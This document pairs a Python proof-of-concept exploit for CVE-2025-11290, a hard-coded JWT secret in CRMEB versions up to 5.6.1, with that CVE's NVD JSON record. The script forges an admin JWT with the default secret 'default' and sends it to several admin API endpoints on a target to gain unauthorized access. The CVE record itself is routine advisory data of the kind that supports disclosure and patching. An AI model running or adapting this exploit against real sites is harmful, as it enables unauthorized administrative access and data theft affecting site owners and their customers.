CVE-2025-11290

# CVE-2025-11290 - CRMEB JWT Hard-coded Secret PoC # Exploit for hard-coded JWT HMAC secret in CRMEB <= 5.6.1 import jwt import requests import json import time TARGET_URL = "http://target-crmeb-site.com" # Hard-coded default JWT HMAC secret used by vulnerable CRMEB versions DEFAULT_SECRET = "default" def forge_jwt_token(user_id=1, username="admin"): """ Forge a JWT token using the hard-coded default secret """ payload = { "id": user_id, "username": username, "iat": int(time.time()), "exp": int(time.time()) + 3600, "role": "admin" } # Sign JWT with the known hard-coded default secret token = jwt.encode(payload, DEFAULT_SECRET, algorithm="HS256") return token def exploit(target_url): """ Exploit the hard-coded JWT secret vulnerability """ # Step 1: Forge admin JWT token forged_token = forge_jwt_token(user_id=1, username="admin") print(f"[+] Forged JWT Token: {forged_token}") # Step 2: Attempt to access protected admin endpoint headers = { "Authorization": f"Bearer {forged_token}", "Content-Type": "application/json" } # Step 3: Try common admin endpoints admin_endpoints = [ "/api/admin/userinfo", "/api/admin/index", "/adminapi/system/config", "/api/user/info" ] for endpoint in admin_endpoints: url = target_url + endpoint try: response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] SUCCESS - Access granted at {endpoint}") print(f"[+] Response: {response.text[:500]}") return True except Exception as e: print(f"[-] Error at {endpoint}: {e}") return False if __name__ == "__main__": print("[*] CVE-2025-11290 - CRMEB JWT Hard-coded Secret Exploit") print(f"[*] Target: {TARGET_URL}") exploit(TARGET_URL)

{"cve": {"id": "CVE-2025-11290", "sourceIdentifier": "[email protected]", "published": "2025-10-05T12:15:31.063", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was identified in CRMEB up to 5.6.1. This affects an unknown function of the component JWT HMAC Secret Handler. Such manipulation of the argument secret with the input default leads to use of hard-coded cryptographic key\r . It is possible to launch the attack remotely. Attacks of this nature are highly complex. The exploitability is reported as difficult. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.9, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.2, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:H/Au:N/C:P/I:P/A:P", "baseScore": 5.1, "accessVector": "NETWORK", "accessComplexity": "HIGH", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 4.9, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-320"}, {"lang": "en", "value": "CWE-321"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:crmeb:crmeb:*:*:*:*:*:*:*:*", "versionEndIncluding": "5.6.1", "matchCriteriaId": "B414DC17-48B1-4FEC-A697-39E37C55439A"}]}]}], "references": [{"url": "https://vuldb.com/?ctiid.327171", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.327171", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.659843", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.659843", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Third Party Advisory", "VDB Entry"]}]}}